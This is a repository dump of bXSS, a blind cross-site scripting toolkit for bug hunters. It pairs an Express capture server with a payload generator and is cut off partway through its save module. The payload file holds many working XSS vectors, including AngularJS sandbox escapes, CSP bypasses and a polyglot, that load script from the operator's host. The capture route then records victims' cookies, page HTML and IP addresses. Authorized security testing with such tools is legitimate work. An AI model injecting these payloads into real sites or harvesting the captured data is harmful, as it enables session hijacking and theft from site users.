Repository: LewisArdern/bXSS
Branch: master
Commit: e19135c306c7
Files: 29
Total size: 69.1 KB
Directory structure:
gitextract_pyrveit8/
├── .dockerignore
├── .github/
│ └── workflows/
│ └── codeql-analysis.yml
├── .gitignore
├── LICENSE
├── README.md
├── app.js
├── package.json
├── server/
│ ├── config/
│ │ ├── configExample.js
│ │ ├── express.js
│ │ └── routes.js
│ ├── controllers/
│ │ └── xss.js
│ └── utilities/
│ ├── config.js
│ ├── domain.js
│ ├── payloads.js
│ ├── save.js
│ ├── services/
│ │ ├── discord.js
│ │ ├── email.js
│ │ ├── github.js
│ │ ├── slack.js
│ │ ├── sms.js
│ │ ├── spark.js
│ │ └── twitter.js
│ └── templates/
│ ├── markdown.js
│ └── script.js
└── tests/
└── __tests__/
├── services/
│ └── sms.unit.test.js
└── utilities/
├── config.unit.test.js
├── domain.unit.test.js
├── payload.unit.test.js
└── save.unit.test.js
================================================
FILE CONTENTS
================================================
================================================
FILE: .dockerignore
================================================
node_modules
server/config/configExample.js
server/config/site.conf
found/
certs/
.idea/
test.html
================================================
FILE: .github/workflows/codeql-analysis.yml
================================================
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ master ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ master ]
schedule:
- cron: '22 7 * * 2'
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
permissions:
actions: read
contents: read
security-events: write
strategy:
fail-fast: false
matrix:
language: [ 'javascript' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
# Learn more:
# https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
steps:
- name: Checkout repository
uses: actions/checkout@v2
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# queries: ./path/to/local/query, your-org/your-repo/queries@main
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
- name: Autobuild
uses: github/codeql-action/autobuild@v1
# ℹ️ Command-line programs to run using the OS shell.
# 📚 https://git.io/JvXDl
# ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
# and modify them (or add more) to build your code if your project
# uses a compiled language
#- run: |
# make bootstrap
# make release
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1
================================================
FILE: .gitignore
================================================
node_modules
server/config/config.js
server/config/site.conf
found/
certs/
.idea/
test.html
Dockerfile
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2018 Lewis Ardern
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: README.md
================================================
# [bXSS](https://github.com/LewisArdern/bXSS)
<!-- prettier-ignore-start -->
<a href="https://codeclimate.com/github/LewisArdern/bXSS/maintainability"><img src="https://api.codeclimate.com/v1/badges/a8e30934a0be1952891c/maintainability" /></a>
<a href="https://lgtm.com/projects/g/LewisArdern/bXSS/context:javascript"><img alt="Language grade: JavaScript" src="https://img.shields.io/lgtm/grade/javascript/g/LewisArdern/bXSS.svg?logo=lgtm&logoWidth=18"/></a>
<!-- prettier-ignore-end -->
bXSS is a utility which can be used by bug hunters and organizations to identify [Blind Cross-Site Scripting](https://ardern.io/2017/12/10/blind-xss/).
bXSS supports the following:
- [Intrusive Levels](./Images/intrusion.jpg)
- [Email](./Images/email.jpg)
- [Auto report via /.well-known/security.txt](./Images/securitytxt.jpg)
- [Twilio](./Images/sms.jpg)
- [Slack](./Images/slack.jpg)
- [Webex Teams](./Images/cisco.jpg)
- [Discord](./Images/discord.jpg)
- [Twitter](./Images/twitter.jpg)
- [Github](./Images/github.JPG)
- [Payload Generation](./Images/payloads.jpg)
- [Save locally](./Images/file.jpg)
# Requirements
## Necessary
- Server you control
- Usable domain
- Node.js and Express.js
## Optional
- [SMTP](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol)
- [Twilio Account](https://www.twilio.com/sms)
- [Slack Token](https://api.slack.com/docs/token-types)
- [Cisco Token](https://developer.webex.com/docs/api/v1/people/get-my-own-details)
- [Discord Token](https://github.com/reactiflux/discord-irc/wiki/Creating-a-discord-bot-&-getting-a-token)
- [Github Access Token](https://github.com/settings/tokens)
- [Twitter Developer Account](https://developer.twitter.com/en/apply/user)
- [SSL/TLS Certificate](https://letsencrypt.org)
# Set-Up
## Default
- cd bXSS && npm install
- Update The Configuration || Environment Variables
- Domain
- config.url = Domain intended for use e.g ardern.io
- config.port.http = Port to run the Node.js app e.g 80
- Rename configExample.js to config.js
## Configuring Services
Services are optional, by default bXSS will save a markdown file to disk. If you don't want to use any service documented below, just delete the service from the config.
- Twilio
- config.twilio.accountSid = [Twilio SID](https://support.twilio.com/hc/en-us/articles/223136607-What-is-an-Application-SID)
- config.twilio.authToken = [Twilio Auth Token](https://support.twilio.com/hc/en-us/articles/223136027-Auth-Tokens-and-how-to-change-them)
- config.twilio.to = ['+447500000000','+0018056826043'] Your telephone number(s)
- config.twilio.from = [Twilio telephone number](https://support.twilio.com/hc/en-us/articles/223136207-Getting-started-with-your-new-Twilio-phone-number)
- Slack
- config.slack.token = [Slack Token](https://api.slack.com/docs/token-types)
- config.slack.channel = [Channel you want to send the report to](https://get.slack.help/hc/en-us/articles/201402297-Create-a-channel)
- Slack permissions required [channels:read](https://api.slack.com/scopes/channels:read) and [chat:write](https://api.slack.com/scopes/chat:write)
- Cisco
- config.ciscoSpark.token = [Cisco Token](https://developer.webex.com/docs/api/v1/people/get-my-own-details)
- config.ciscoSpark.sparkRoom = ['email1@domain.com','email2@domain.com']
- Discord
- Steps to create a bot:
- Visit https://discordapp.com/developers/applications/
- Create a new application (e.g bXSSForCompany)
- Make a note of your CLIENT ID
- Select 'Bot'
- Choose a USERNAME and press 'Click to Reveal Token' (copy the token)
- Visit the following URL (update with your CLIENT ID) https://discordapp.com/oauth2/authorize?&client_id=YOUR_CLIENT_ID&scope=bot&permissions=2048
- Select the server you want your bot to join and authorize
- Update the following values below for the bot to post to the 'text channel' e.g ('general')
- config.discord.token = 'your bot token'
- config.discord.channel = 'channel that you want it to join, e.g general'
- Twitter
- config.twitter.consumer_key = API Key
- config.twitter.consumer_secret = API Secret Key
- config.twitter.access_token_key = Application Access Token
- config.twitter.access_token_secret = Application Access Token Secret
- Permissions (Write)
- config.twitter.recipient_id = Twitter User ID, which can be found [here](https://twitter.com/settings/your_twitter_data)
- SMTP
- config.smtp.user = email username
- config.smtp.pass = email password
- config.smtp.port = port you are connecting to e.g 465
- config.smtp.host = host you are connecting to e.g smtp.example.com
- config.smtp.to = ['email1@domain.com','email2@domain.com'] where you want to send the emails
- config.smtp.tls = use TLS, boolean true or false
- Github
- [config.github.accessToken](https://github.com/settings/tokens) = ''
- config.github.repo = '' an example is lewisardern/bXSS
## Setting Up HTTPS
Consider using a [reverse proxy](https://www.nginx.com/resources/glossary/reverse-proxy-server/), for example in [NGINX](https://pastebin.com/nCVSh5iv), but if you want to configure HTTPS using express, follow the steps below:
- Obtain a let's Encrypt cert
- [Manual](https://gist.github.com/davestevens/c9e437afbb41c1d5c3ab)
- [certbot](https://medium.com/@yash.kulshrestha/using-lets-encrypt-with-express-e069c7abe625)
- Using Node.js
- Update Configuration
- config.letsEncrypt.TLS = true;
- config.letsEncrypt.publicKey = \$Path/fullchain.pem
- config.letsEncrypt.privateKey = \$Path/privkey.pem
- config.letsEncrypt.ca = \$Path/chain.pem
- config.port.https = 443
## Starting The Application
Once you have configured the above, simply start the server with any available utility at the application root directory:
- node app.js
- nodemon app.js
- pm2 start app.js
# Using
Once the application is functional, you would just identify sites you are authorized to test and start to inject different payloads that will attempt to load your resource, the easiest example is:
```
"><script src="https://example.com/m"></script>
```
The application has the following routes:
- POST - /m (Captures DOM information)
- GET - /mH (Captures HTTP interactions)
- GET - /alert (displays alert(1))
- GET - /payloads (Gives payloads you can use for testing blind xss)
- GET - /\*\* (All other routes load the payload)
# Contribute?
If you like the project, feel free to contribute or if you want to suggest improvements or notice any problems, file a [issue](https://github.com/LewisArdern/bXSS/issues).
================================================
FILE: app.js
================================================
process.env.NODE_PATH = __dirname;
require('module').Module._initPaths();
//
const express = require('express');
const fs = require('fs');
const https = require('https');
const app = express();
const config = require('server/utilities/config');
const path = require('path');
const dir = path.normalize(`${__dirname}/server/found/`);
const urls = path.normalize(`${dir}urls.txt`);
const date = path.normalize(`${dir}date.txt`);
const moment = require('moment');
require('server/config/express')(app);
require('server/config/routes')(app, config);
/**
* Checks if folders exist, creates them otherwise.
*/
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir);
}
if (!fs.existsSync(urls)) {
fs.writeFileSync(urls, 'http://example.com:3000/index.html\r\n', err => {
if (err) throw err;
console.log(`Created ${urls}`);
});
}
if (!fs.existsSync(date)) {
fs.writeFileSync(
date,
moment()
.subtract(1, 'day')
.format('YYYY-MM-DD'),
err => {
if (err) throw err;
console.log(`Created ${date}`);
}
);
}
app.listen(config.port.http, () => console.log(`bXSS listening on port ${config.port.http}`));
if (config.isValid(['letsEncrypt.TLS'])) {
if (
fs.existsSync(config.letsEncrypt.publicKey) &&
fs.existsSync(config.letsEncrypt.privateKey) &&
fs.readFileSync(config.letsEncrypt.ca) &&
config.letsEncrypt.TLS === true
) {
const options = {
cert: fs.readFileSync(config.letsEncrypt.publicKey),
key: fs.readFileSync(config.letsEncrypt.privateKey),
ca: fs.readFileSync(config.letsEncrypt.ca)
};
https.createServer(options, app).listen(config.port.https);
}
}
================================================
FILE: package.json
================================================
{
"name": "bXSS",
"version": "1.0.0",
"description": "bXSS is a simple Blind XSS application adapted from https://cure53.de/m",
"main": "app.js",
"scripts": {
"test": "jest --modulePaths .",
"lint": "eslint server",
"prettier": "prettier server/**/*.{js,json,md}",
"format": "npm run prettier -- --write",
"validate": "npm run lint && npm run prettier -- --list-different",
"precommit": "lint-staged && npm test"
},
"author": "Lewis Ardern",
"license": "MIT",
"dependencies": {
"body-parser": "^1.18.2",
"btoa": "^1.2.1",
"ciscospark": "^1.32.23",
"cors": "^2.8.5",
"discord.js": "^11.4.2",
"express": "^4.16.2",
"helmet": "^3.12.0",
"jsdom": "^13.2.0",
"moment": "^2.21.0",
"nodemailer": "^6.4.16",
"nodemailer-markdown": "^1.0.3",
"octonode": "^0.9.5",
"slack": "^11.0.0",
"twilio": "^3.18.0",
"twitter-lite": "^0.8.0",
"uuid": "^3.2.1",
"validator": "^13.7.0"
},
"devDependencies": {
"eslint": "^4.19.1",
"eslint-config-airbnb": "^16.1.0",
"eslint-config-airbnb-base": "^12.1.0",
"eslint-config-prettier": "^3.3.0",
"eslint-plugin-import": "^2.9.0",
"eslint-plugin-jest": "^22.1.2",
"eslint-plugin-jsx-a11y": "^6.0.3",
"eslint-plugin-prettier": "^3.0.0",
"eslint-plugin-react": "^7.7.0",
"husky": "^1.2.1",
"jest": "^23.6.0",
"lint-staged": "^8.1.0",
"prettier": "^1.15.3"
},
"eslintConfig": {
"extends": [
"airbnb-base",
"prettier",
"plugin:jest/recommended"
],
"plugins": [
"jest"
],
"parserOptions": {
"ecmaVersion": "2018"
},
"env": {
"node": true,
"jest/globals": true
},
"rules": {
"no-console": 0,
"no-underscore-dangle": 0,
"global-require": 0
},
"settings": {
"import/resolver": {
"node": {
"paths": [
"."
]
}
}
}
},
"lint-staged": {
"*.js": [
"eslint"
],
"*.{js,json,md}": [
"prettier --write",
"git add"
]
},
"prettier": {
"printWidth": 100,
"singleQuote": true
}
}
================================================
FILE: server/config/configExample.js
================================================
const config = {};
config.twilio = {};
config.gmail = {};
config.slack = {};
config.letsEncrypt = {};
config.ciscoSpark = {};
config.discord = {};
config.twitter = {};
config.smtp = {};
config.github = {};
config.port = {};
config.port.http = process.env.httpPort || 80;
config.url = process.env.url || 'localhost';
config.boundary = process.env.boundary || '#!!!!#';
config.bodyLimit = process.env.bodyLimit || '50mb';
config.letsEncrypt.TLS = false;
config.port.https = process.env.httpsPort || 443;
config.letsEncrypt.publicKey =
process.env.publicKey || `/etc/letsencrypt/live/${config.url}/fullchain.pem`;
config.letsEncrypt.privateKey =
process.env.privateKey || `/etc/letsencrypt/live/${config.url}/privkey.pem`;
config.letsEncrypt.ca = process.env.ca || `/etc/letsencrypt/live/${config.url}/chain.pem`;
// Remove if you dont' want Twilio
config.twilio.accountSid = process.env.accountSid || '';
config.twilio.authToken = process.env.authToken || '';
config.twilio.to = process.env.twilioTo || ['']; // add additonal numbers with comma seperation e.g '+447000000', ''
config.twilio.from = process.env.twilioFrom || '';
// Remove if you dont want Discord
config.discord.token = process.env.discordToken || '';
config.discord.channel = process.env.discordChannel || '';
// Remove if you dont want Slack
config.slack.token = process.env.token || '';
config.slack.channel = process.env.slackChannel || '';
// Remove if you dont want Cisco Webex Teams
config.ciscoSpark.token = process.env.sparkToken || '';
config.ciscoSpark.sparkRoom = process.env.sparkRoom || ['']; // add additonal emails with comma seperation e.g 'youremail@gmail.com', ''
// Remove if you don't want Twitter
config.twitter.consumer_key = process.env.twitterConsumerKey || '';
config.twitter.consumer_secret = process.env.twitterSecret || '';
config.twitter.access_token_key = process.env.twitterAccessKey || '';
config.twitter.access_token_secret = process.env.twitterAccessSecret || '';
config.twitter.recipient_id = process.env.recipient || ['']; // add additional recipients which can be comma seperation e.g '12030210321','1232131321'
// Remove if you don't want email
config.smtp.user = process.env.smtpUser || 'user@example.com';
config.smtp.pass = process.env.smtpPass || 'hunter2';
config.smtp.port = process.env.smtpPort || '469';
config.smtp.host = process.env.smtpHost || 'smtp.example.com';
config.smtp.tls = process.env.smtpTls || true; // true or false
config.smtp.to = process.env.smtpTo || ['user2@example.com']; // add additonal emails with comma seperation '', ''
// Remove if you don't want github
config.github.accessToken = process.env.accessToken || '';
config.github.repo = process.env.githubRepo || '';
// 1 Everything
// 0 Just DOM Nodes
config.intrusiveLevel = 0;
module.exports = config;
================================================
FILE: server/config/express.js
================================================
const bodyParser = require('body-parser');
const helmet = require('helmet');
const config = require('../utilities/config');
const cors = require('cors');
module.exports = app => {
app.use(helmet()); // Remove x-powered and add default security headers
app.use(cors()); // Use for payloads which perform XHR and trigger pre-flight.
app.use(bodyParser.json({ limit: config.bodyLimit })); // to support JSON-encoded bodies
app.use(
bodyParser.urlencoded({
limit: config.bodyLimit,
// to support URL-encoded bodies
extended: true
})
);
};
================================================
FILE: server/config/routes.js
================================================
const xss = require('../controllers/xss');
module.exports = app => {
// Whenever _ body is sent via /m/ POST it will trigger the capture request
app.post('/m', xss.capture);
// Captures HTTP interactions for example var x = New Image;x.src='//localhost/mH';
app.get('/mH', xss.capture);
// This GET query show's payloads that can be used when testing for bXSS.
app.get('/payloads', xss.generatePayloads);
// just shows alert(1), for normal xss.
app.get('/alert', xss.displayDefault);
// For CSP Base href redirection
app.get('*', xss.displayScript);
};
================================================
FILE: server/controllers/xss.js
================================================
const uuid = require('uuid/v1');
const config = require('server/utilities/config');
const template = require('server/utilities/templates/script');
const payloads = require('server/utilities/payloads');
const Domain = require('server/utilities/domain');
const URL = require('url');
const reporters = [
require('server/utilities/services/email'),
require('server/utilities/services/slack'),
require('server/utilities/services/discord'),
require('server/utilities/services/spark'),
require('server/utilities/services/twitter'),
require('server/utilities/services/sms'),
require('server/utilities/services/github'),
require('server/utilities/save')
];
/* eslint-disable no-shadow */
function reportToUtilities(guid, domain, config) {
reporters.forEach(svc => svc.send(guid, domain, config));
}
exports.displayScript = (req, res) => {
res.type('.js');
res.send(template.generateTemplate(config));
};
exports.displayDefault = (req, res) => {
res.type('.js');
res.send('alert(1)');
};
exports.generatePayloads = (req, res) => {
res.set('Content-Type', 'text/plain');
res.send(payloads.generatePayloads(config));
};
exports.capture = (req, res) => {
let domain = {};
const guid = uuid();
if (req.body._) {
domain = Domain.fromPayload(req.body._, config);
} else {
domain = new Domain(config);
domain.url = req.get('referer') || null;
}
domain.victimIP =
req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress ||
null;
domain.userAgent = req.headers['user-agent'] || null;
if (domain.url !== null) {
const validDomain = new URL.URL({ toString: () => domain.url });
if (validDomain.protocol === 'https:' || 'http:' || 'file:') {
reportToUtilities(guid, domain, config);
}
}
res.redirect(`${domain.url}#x1`);
};
================================================
FILE: server/utilities/config.js
================================================
/* eslint valid-typeof: "off" */
const assert = require('assert');
let config = {};
try {
config = require('server/config/config');
} catch (e) {
console.log(`Error loading config: ${e}`);
}
/**
* Converts a string specification of types into predicate functions.
* @example resolveTestTypes('number|string|null')
* @param {string} types A bar-delimited string of JS types
* @return {Array<function>}
*/
function resolveTypePredicates(types) {
assert(typeof types === 'string', `Expected string, got ${typeof types}`);
return types.split('|').map(type => {
if (type === 'any') {
return val => !(val === undefined || val === null);
}
switch (type) {
case 'null':
return val => [null, undefined].indexOf(val) !== -1;
case 'array':
return val => val instanceof Array;
case 'object':
return val => !(val instanceof Array) && typeof val === 'object';
default:
return val => typeof val === type;
}
});
}
/**
* Returns a node specified by a string path in dot notation.
* @param {string} path A path to a nested property in dot notation
* @param {object} obj The object to traverse
* @return {any} The value of the nested property
*/
config.get = path =>
path.split('.').reduce((obj, key) => (typeof obj === 'object' ? obj[key] : undefined), config);
/**
* Check supplied config values against a type specification.
* @example isValid(['port.http', 'url']) checks only if the keys are defined
* @example isValid({'port.http': 'number', 'url': 'string|null'}) type checks
* @param {object|Array<string>} spec A keys->type specification object, or list of keys
* @return {bool} Whether the specified keys meet the criteria.
*/
config.isValid = spec =>
!(spec instanceof Array ? spec : Object.keys(spec)).some(key => {
assert(typeof key === 'string', `Expected string, got ${typeof key}`);
const predicates = resolveTypePredicates(spec[key] || 'any');
const value = config.get(key);
return !predicates.some(pred => pred(value));
});
//
module.exports = config;
================================================
FILE: server/utilities/domain.js
================================================
const validator = require('validator');
const payloads = require('./payloads');
class Domain {
constructor(config = {}) {
this.data = new Map();
this.config = config;
return new Proxy(this, this);
}
static from(data, config = {}) {
const domain = new Domain(config);
Domain.FIELDS.forEach(key => {
let val = data[key];
if (val === 'null' || val === undefined) val = null;
domain[key] = val;
});
return domain;
}
static fromArray(arr = [], config = {}) {
const domain = {};
Domain.FIELDS.forEach((key, idx) => {
domain[key] = arr[idx];
});
return Domain.from(domain, config);
}
static fromPayload(payload, config = {}) {
return Domain.fromArray(unescape(payload).split(`\r\n\r\n${config.boundary}`), config);
}
get(_, prop) {
if (this[prop] !== undefined) {
return this[prop];
}
const getter = `get${prop.charAt(0).toUpperCase()}${prop.slice(1)}`;
if (typeof this[getter] === 'function') {
return this[getter]();
}
return this.data.get(prop);
}
set(_, prop, value) {
const setter = `set${prop.charAt(0).toUpperCase()}${prop.slice(1)}`;
if (typeof this[setter] === 'function') {
this[setter](value);
} else {
this.data.set(prop, value);
}
return true;
}
[Symbol.iterator]() {
return this.data.iterator();
}
html() {
return this.innerHTML || this.openerInnerHTML;
}
processHTML(html) {
if (this.config.intrusiveLevel !== 1 && html) {
return html
.split(',')
.map(node => `${node}<br/>`)
.join('');
}
return html;
}
setInnerHTML(html) {
this.data.set('innerHTML', this.processHTML(html));
}
setOpenerInnerHTML(html) {
this.data.set('openerInnerHTML', this.processHTML(html));
}
setPayload(payload) {
this.data.set('payload', payloads.processPayload(payload, this.config));
}
/**
* Takes in an XHR response captured from the client-side
*
* It will check to see if a value includes Contact: (which is used in the
* spec e.g https://www.google.com/.well-known/security.txt, Strip away Contact: and mailto: and remove any whitespace
*
* @param {string} securityTxt
* @returns {array}
*/
setHasSecurityTxt(securityTxt) {
let securityTxtEmail = [];
if (typeof securityTxt === 'string') {
securityTxt.split('\r\n').forEach(item => {
if (item.includes('Contact:')) {
const email = item
.replace('Contact:', '')
.replace('mailto:', '')
.trim();
if (validator.isEmail(email) && !securityTxtEmail.includes(email))
securityTxtEmail.push(email);
}
});
}
if (securityTxtEmail[0] === undefined) {
securityTxtEmail = null;
}
this.data.set('hasSecurityTxt', securityTxtEmail);
}
}
Domain.FIELDS = [
'cookie',
'innerHTML',
'url',
'openerLocation',
'openerInnerHTML',
'openerCookie',
'hasSecurityTxt',
'payload',
'victimIP',
'userAgent'
];
module.exports = Domain;
================================================
FILE: server/utilities/payloads.js
================================================
const jsdom = require('jsdom');
const { JSDOM } = jsdom;
exports.generatePayloads = config =>
this.payloadList(config)
.map(payload => `Description: ${payload.description}\r\n${payload.payload}\r\n\r\n`)
.join('');
exports.payloadList = config => {
const payloads = [
{
description: 'Image HTTP Interaction',
payload: `"><img src='//${config.url}/mH'/>`
},
{
description: 'External JavaScript',
id: '1',
payload: `"><script id='1' src="//${config.url}/m"></script>`
},
{
description: 'JavaScript URI',
id: '2',
payload: `javascript:eval('d=document; _ = d.createElement(\\'script\\');_.id='2';_.src=\\'//${
config.url
}/m\\';d.body.appendChild(_)")`
},
{
description: 'JavaScript URI href',
id: '3',
payload: `"><a href="javascript:eval('d=document; _ = d.createElement(\\'script\\');_.id=\\'3\\';_.src=\\'//localhost/m\\';d.body.appendChild(_)')">Click</a>`
},
{
description: 'https://html5sec.org - Self-executing focus event via autofocus',
id: '4',
payload: `"><input onfocus="eval('d=document; _ = d.createElement(\\'script\\');_.id=\\'4\\';_.src=\\'\\/\\/localhost/m\\';d.body.appendChild(_)')" autofocus>`
},
{
description: 'https://html5sec.org - HTML5 - JavaScript execution via <iframe> and onload',
id: '5',
payload: `<iframe onload="eval('d=document; _=d.createElement(\\'script\\');_.id=\\'5\\';_.src=\\'\\/\\/${
config.url
}/m\\';d.body.appendChild(_)')">`
},
{
description:
'https://html5sec.org - SVG - SVG tags allow code to be executed with onload without any other elements. This makes for a very short and effective XSS vector, useful in many situations.',
id: '6',
payload: `<svg onload="javascript:eval('d=document; _ = d.createElement(\\'script\\');_.id=\\'6\\';_.src=\\'//${
config.url
}\\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>`
},
{
description:
'https://html5sec.org - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. ',
id: '7',
payload: `"><body onpageshow="eval('d=document; _ = d.createElement(\\'script\\');_.id=\\'7\\'_.src=\\'//${
config.url
}/m\\';d.body.appendChild(_)')">`
},
{
description:
'xsshunter.com - Matthew Bryant - For when <script> tags are explicitly filtered.',
id: '8',
payload: `"><img src=x id='${this.encodePayload(
config,
'8'
)}'; onerror=eval(atob(this.id))></script>`
},
{
description: 'xsshunter.com - Matthew Bryant - jQuery Payload',
payload: `"><script>$.getScript("//${config.url}/m")</script>`
},
{
description: 'xsshunter.com - Matthew Bryant - XHR',
payload: `"><script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//${
config.url
}/m");a.send();</script>`
},
{
description: 'Mario Heiderch - Angular/JS Payload',
id: '9',
payload: `{{constructor.constructor("d=document; _ = d.createElement('script');_.id='9';_.src='//${
config.url
}/m';d.body.appendChild(_)")()}} `
},
{
description: 'Lewis Ardern/Gareth Heyes - AngularJS Payload',
id: '10',
payload: `{{$on.constructor("d=document; _ = d.createElement('script');_.id='10';_.src='//${
config.url
}/m';d.body.appendChild(_)")()}}`
},
{
description: 'Gareth Heyes - 1.2.0 - 1.2.5 - AngularJS Payload',
id: '11',
payload: `{{ a="a"["constructor"].prototype;a.charAt=a.trim; $eval('a",eval(\`d=document;_=d\\\\x2ecreateElement(\\'script\\'); _\\\\x2eid=\\'11\\'; _\\\\x2esrc=\\'//localhost/m\\'; d\\\\x2ebody\\\\x2eappendChild(_);\`),"') }}`
},
{
description: 'Jan Horn - 1.2.6 - 1.2.18 - AngularJS Payload',
id: '12',
payload: `{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'eval("d=document; _ = d.createElement(\\'script\\');_.id=\\'12\\';_.src=\\'//${
config.url
}/m\\';d.body.appendChild(_)")')()}}`
},
{
description: 'Mathias Karlsson - 1.2.19 (FireFox) AngularJS Payload',
id: '13',
payload: `{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a",'eval("d=document; _ = d.createElement(\\'script\\');_.id=\\'13\\';_.src=\\'//${
config.url
}/m\\';d.body.appendChild(_)")'].sort(toString.constEructor);}}`
},
{
description: 'Gareth Heyes - 1.2.20 - 1.2.29 - AngularJS Payload',
id: '14',
payload: `{{a="a"["constructor"].prototype;a.charAt=a.trim;$eval('a",eval(\`d=document; _=d\\\\x2ecreateElement(\\'script\\');_\\\\x2eid=\\'14\\';_\\\\x2esrc=\\'//${
config.url
}/m\\';d\\\\x2ebody\\\\x2eappendChild(_);\`),"')}}`
},
{
description: 'Gareth Heyes - 1.3.0 - 1.3.9 - AngularJS Payload',
id: '15',
payload: `{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,eval(\`d=document; _=d\\\\x2ecreateElement(\\'script\\');_\\\\x2eid=\\'15\\';_\\\\x2esrc=\\'//${
config.url
}/m\\';d\\\\x2ebody\\\\x2eappendChild(_);\`),a')}}`
},
{
description: 'Gareth Heyes - 1.4.0 - 1.5.8 - AngularJS Payload',
id: '16',
payload: `{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,eval(\`d=document; _=d.createElement(\\'script\\');_.id=\\'16\\';_.src=\\'//${
config.url
}/m\\';d.body.appendChild(_);\`),a')}}`
},
{
description: 'Jan Horn - 1.5.9 - 1.5.11 - AngularJS Payload',
id: '17',
payload: `{{c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(\`d=document; _=d.createElement(\\\\'script\\\\');_.id=\\\\'17\\\\';_.src=\\\\'//${
config.url
}/m\\\\';d.body.appendChild(_);\`)))+';astNode.argument={type:'Identifier',name:'foo'};");m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=''.sub;$eval('a(b.c)');[].push.apply=a;}}`
},
{
description: 'CSP Bypass - data scheme/wildcard in script-src ',
payload: `"><script src=data:text/javascript;base64,${this.encodePayloadHttpInteraction(
config
)}></script > `
},
{
description: 'CSP Bypass - Missing or relaxed object-src',
payload: `"><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\\"})))}catch (e) { d = document; d.location.hash.match(\`x1\`) ? \`\` : d.location=\`//localhost/mH\`}//' allowscriptaccess=always>`
},
{
description: 'Google Research - Vue.js ',
payload: `"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\\'x1\\') ? \`\` : d.location=\`//${
config.url
}/mH\`')()"> aaa</div>`
},
{
description:
'Adaption from Google Research + Gareth Heyes/Sirdarckcat - AngularJS CSP Bypass - HTTP Interaction',
payload: `<textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//${
config.url
}/mH'"></textarea>`
},
{
description:
'CSP Bypass - Bypassing script nonces via base tags and data URIs (All resources are belong to us) ',
payload: `"><base href="${config.url}">`
},
{
description: 'crlf - https://polyglot.innerht.ml/ - Polygot Payload',
payload: `javascript:"/*'/*\`/*--></noscript></title></textarea></style></template></noembed></script><html \\" onmouseover=/*<svg/*/onload=document.location=\`//${
config.url
}/mH\`//>`
}
];
return payloads;
};
exports.encodePayload = (config, id) => {
const btoa = require('btoa');
return btoa(
`d=document; _ = d.createElement('script');_.id='${id}';_.src='//${
config.url
}/m';d.body.appendChild(_) `
);
};
exports.encodePayloadHttpInteraction = config => {
const btoa = require('btoa');
return btoa(`document.location='//${config.url}/mH'`);
};
exports.processPayload = (html, config) => {
if (html) {
let pload = html;
const p = this.payloadList(config);
const dom = new JSDOM(pload);
if (dom.window.document.querySelector('script')) {
p.forEach(payload => {
if (payload.id === dom.window.document.querySelector('script').id) {
pload = payload.payload;
}
});
}
return pload;
}
return null;
};
================================================
FILE: server/utilities/save.js
================================================
const path = require('path');
const fs = require('fs');
const moment = require('moment');
const dir = path.normalize(`${__dirname}/../../server/found/`);
const urls = path.normalize(`${dir}urls.txt`);
const date = path.normalize(`${dir}date.txt`);
const template = require('./templates/markdown');
/**
* TODO
*/
exports.send = (guid, domain, config) => {
const file = `${dir}${guid}.md`;
